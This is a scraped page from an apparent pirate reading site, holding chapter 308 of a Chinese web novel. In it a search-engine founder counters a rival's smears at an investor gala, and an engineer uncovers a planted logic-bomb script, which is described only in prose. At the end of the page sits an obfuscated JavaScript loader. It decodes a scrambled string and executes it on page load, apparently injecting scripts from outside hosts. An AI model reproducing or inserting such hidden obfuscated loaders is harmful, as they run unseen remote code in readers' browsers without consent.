首页
第三百零八章 投资人战争
返回
关灯 护眼:关 字号:小

第三百零八章 投资人战争

章节报错(免登陆)

一秒记住【笔趣阁】
xbiquge365.net,更新快,无弹窗!

    第三百零八章投资人战争(第1/2页)
    首都机场的航站楼灯火通明,炜杰的车停在贵宾通道出口。张建国拖着一只黑色登机箱走出来,风衣领口沾着夜航的寒气。
    “刚下飞机就给你打电话。“张建国把箱子扔进后座,“饿坏了,先找个地方吃东西,我有话要说。“
    炜杰把车开到东三环边的一家粤式茶餐厅。这个时辰店里客人不多,两人在角落卡座坐下,张建国要了碗及第粥和一笼虾饺。
    “赵明远。“张建国咽下一口粥,开门见山,“这三天他在北京见了至少六拨投资人。话风很一致——千度技术团队崩了,核心工程师被搜乎挖走一半,产品数据造假,索引量虚报了百分之三十。“
    炜杰手里的茶杯停在半空。
    “他的目标很明确。“张建国放下勺子,“搅黄你们的下一轮融资。你们不是计划在春节前后启动第二轮融资吗?“
    “二季度。“炜杰说。
    “那就是了。“张建国点头,“他这是提前埋雷。明天晚上,长城饭店,有个投资人年会,北京圈子里有头有脸的都会去。赵明远也会出席。你去不去?“
    炜杰看着杯里浮动的茶叶。王志远留下的烂摊子还没收拾干净,索引组的修复工作进行到一半,何明还在公司加班审计代码。腾信那边三个月的倒计时每天都在走。但这场仗如果不去打,就等于把阵地拱手让人。
    “去。“
    “好。“张建国露出笑意,“明天我来接你。“
    长城饭店的宴会厅铺着厚重的地毯,水晶吊灯把每个人的表情照得清清楚楚。炜杰穿了一套深蓝色西装,去年秋天在秀水街做的,料子一般,但剪裁合身。
    张建国带着他穿过人群,一路介绍。艾迪吉资本的合伙人周正,四十出头,戴一副金丝边眼镜,握手时力道很大。红杉中国的李薇,短发,说话快得像机关枪。黄河创投的老曹,六十岁了,是圈子里出了名的“老炮儿“,投过三家后来在纳斯达克上市的企业。
    “这位就是千度的炜杰。“张建国说,“合伙人,公司所有的产品设计都是他一手搭起来的。“
    老曹上下打量炜杰:“听说你们索引出问题了?“
    “节点故障,已经修复。“炜杰语气平静,“昨天完成的回滚,搜索增长曲线今天已经走平,数据在公司的监控后台里,随时可以看。“
    老曹“嗯“了一声,不置可否。
    人群忽然安静了一瞬。炜杰不用回头也知道谁来了——赵明远穿着一身浅灰色西装,领口别着搜乎的徽章,正从宴会厅另一头走过来。他看见炜杰时脚步明显顿了一下,脸上的笑容僵了半秒,随即恢复如常。
    “炜杰。“赵明远伸出手,“真没想到在这儿见到你。听说你们最近挺忙?“
    炜杰握住那只手:“比不上你忙。三天见六拨投资人,这份精力我们比不了。“
    赵明远的瞳孔收缩了一下。他没想到炜杰已经知道了他的行踪。
    “搜乎最近在准备新一轮融资,多走动走动是应该的。“赵明远松开手,语气轻松,“不像你们,听说技术团队出了点状况?“
    “什么状况?“炜杰问。
    “我听到的版本是,核心工程师离职,产品数据有水分。“赵明远摊了摊手,“圈子里传得挺厉害的,我还替你们担心呢。“
    周围的几个投资人都在听。周正推了推眼镜,李薇抱着胳膊,老曹掏出烟盒又塞了回去。
    “核心工程师。“炜杰重复了一遍这个词,“你说的是王志远?“
    赵明远笑而不语。
    “王志远,北大博士,在我公司干了八个月。“炜杰的声音不高,但足够让周围的人听清楚,“八个月里他接触的是分词模块,从来没有进入过核心架构层。我们上周发现他在同步层参数上做了手脚,所有被篡改的节点已经全部回滚。这是内部审计报告。“
    炜杰从西装内袋抽出一份装订整齐的文件,递给周正。
    “报告里有完整的操作日志、回滚记录和修复后的性能对比。王志远留下的每一个改动都有签名和时间戳。各位如果有兴趣,明天可以来千度办公室,我让工程师现场演示。“
    周正接过报告翻了翻,递给李薇。李薇扫了几眼,眉毛挑了起来。
    “数据造假更是无稽之谈。“炜杰转向赵明远,“千度的索引量从成立第一天起就是开放的,任何人都可以输入关键词验证。倒是搜乎——你们的索引量是怎么统计的?抓取到的页面都算,还是只算实际能响应搜索的?“
    赵明远的脸色变了。
    “我们——“
    “我帮你说完。“炜杰打断他,“搜乎的索引量统计包含大量死链和重复页面,实际可用索引不到公布数字的六成。这个数字你们内部技术团队清楚,投资人心知肚明。千度不做这种事。“
    宴会厅里一片寂静。
    张建国适时开口:“千度的数据我看过。我投的钱,我负责。他们上个月的搜索增长率是百分之四十七,独立用户数突破两百万,这些都是我可以背书的数据。“
    张建国的分量在场的人都清楚。香港那边几个大基金都听他的推荐,他投过的项目成功率在圈子里排前三。
    (本章未完,请点击下一页继续阅读)第三百零八章投资人战争(第2/2页)
    老曹终于点了点头:“年轻人,有底气。“
    但李薇没有松口。她把报告还给炜杰,问了一个尖锐的问题:“王志远这件事,说明你们的代码审核机制有漏洞。一个分词工程师怎么能接触到同步层参数?“
    “问得好。“炜杰说,“这是我们最大的教训。千度的代码权限管理是按模块划分的,王志远利用职务便利,在提交分词代码时夹带了同步层的参数修改。这个漏洞现在已经堵上了——所有跨模块的提交必须经过双人复核,核心架构层的任何改动需要三个技术负责人同时签字。“
    他停顿了一下,补充道:“这个教训值八十万,但我们学到了。“
    “八十万?“周正问。
    “王志远从搜乎那边拿的价码。“炜杰看了赵明远一眼,“八十万,换一个可能拖垮千度三个月的漏洞。挺划算的买卖。“
    赵明远的脸涨红了。他没想到炜杰会在这种场合把数字抖出来。
    “炜杰,说话要负责。“赵明远的声音冷了下来,“搜乎和千度是竞争关系,但我们不会用下三滥的手段。“
    “是吗。“炜杰从口袋里掏出一张纸,“这是王志远在北京银行的转账记录,八十万,付款方是搜乎科技的关联公司‘搜乎信息服务有限公司‘。需要我把复印件给在场的各位发一份吗?“
    赵明远盯着那张纸,嘴唇动了动,没说出话来。
    老曹忽然哈哈大笑起来:“行了行了,年轻人斗气,我们老家伙看戏。炜杰是吧?明天上午我去你们办公室,让我看看那个现场演示。“
    “欢迎。“炜杰说。
    同一时刻,中关村太平洋国际大厦十层,千度办公室的灯光还亮着。
    何明一个人坐在工位上,面前摆着三台显示器。他的眼镜滑到鼻尖上,头发乱得像鸟窝,手边放着半杯已经凉透的咖啡。
    他正在审计王志远改过的每一段代码。
    三天前,炜杰交给他一个任务:把王志远在职期间提交的所有代码全部过一遍,不仅是同步层,是所有模块。何明当时还觉得小题大做——一个分词工程师,能碰的东西有限。
    但现在他不这么想了。
    第一个发现是在查询解析模块。王志远修改了一个看似无关紧要的字符串拼接函数,把默认的分隔符从逗号改成了竖线。单独看这个改动没有任何问题,甚至能通过所有单元测试。但何明注意到,这个改动和同步层的参数篡改结合在一起时,会导致查询结果在缓存阶段出现键值冲突。
    第二个发现在日志轮转模块。王志远加了一行时间戳格式的代码,把“年年年年-月月-日日“改成了“日日/月月/年年年年“。这个改动被注释标记为“适配海外服务器格式“,但千度根本没有海外服务器。何明追查下去,发现当日志轮转按这个格式运行时,会触发一个边界条件,导致旧日志文件在特定日期不会被正常清理。
    第三个、第四个、第五个……
    何明越查越心惊。王志远不只是改了同步层,他在六个不同的模块里留下了“微调“。每一个改动单独看都无害,甚至能通过代码审查。但把它们连起来看,就是一个精密的陷阱。
    如果六个模块同时按王志远预设的路径运行,查询解析的键值冲突会不断累积,日志轮转的边界条件会在特定日期引爆磁盘空间,而同步层的参数篡改会在最关键的时刻切断备份通道。
    系统性雪崩。
    何明靠在椅背上,后背全是汗。这不是一个离职员工发泄不满的恶作剧,这是一份经过精心设计的自杀蓝图。
    他拿起电话打给炜杰,但话筒里传来占线音。炜杰还在那个投资人聚会上。
    何明放下电话,继续查。他的直觉告诉他,还有更深的东西没挖出来。
    他开始检查系统日志。不是业务日志,是操作系统层面的内核日志。王志远在职期间,每天晚上十一点到十一点半,服务器上都有一个定时进程在运行,进程名是“系统同步备份“,看起来像是系统自带的备份服务。
    但何明知道千度的备份策略。所有备份任务统一由运维组的“备份主控“调度,不会用这种散装的定时任务。
    他调出这个进程的完整调用链,一层一层往下追。调用链的末端指向一个隐藏在日志系统深处的脚本文件,文件名是一串随机字符,藏在日志归档目录下一个叫“第三方归档“的深层子目录中。这个目录的名字伪装成第三方日志存放路径,连何明都是第一次注意到它的存在。
    何明打开那个脚本。
    屏幕上的代码让他的呼吸停滞了。
    那是一个定时触发器。触发条件写得清清楚楚:如果系统时间在一九九九年二月一日零点之前,且千度的存储层版本标识不等于“协同版二点一点七“,则自动执行以下操作——
    清空全部索引缓存。
    重置存储层版本标识为出厂默认值。
    删除近三十天的增量备份索引。
    何明看了一眼电脑右下角的时间显示。
    1999年1月12日,晚上九点十七分。
    距离触发器的截止时间,不到二十天。
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="n3xnhwm2yg";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^FpX5h(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJmJLFpdd(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^FpX5h(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJmJLFpdd(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/2sR2hD^@Tp/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"2sR2hD^@Tp"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mDDTYRpRm2YF"="}Ko}X5ThF)mC6FTCSDm2YF"="}Ko}2pThFmDDTYRpRm2YF"="}Ko}_JqhFmC6FTCSDm2YF"="}Ko}2TOhFmDDTYRpRm2YF"="}Ko}CSqhF)mC6FTCSDm2YF"="}Ko})FfThF)fmDDTYRpRm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mOh_^5_(m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mOh_^5_(m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q/f/}Ko}j(8}vY82sR2hD^@Tp"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();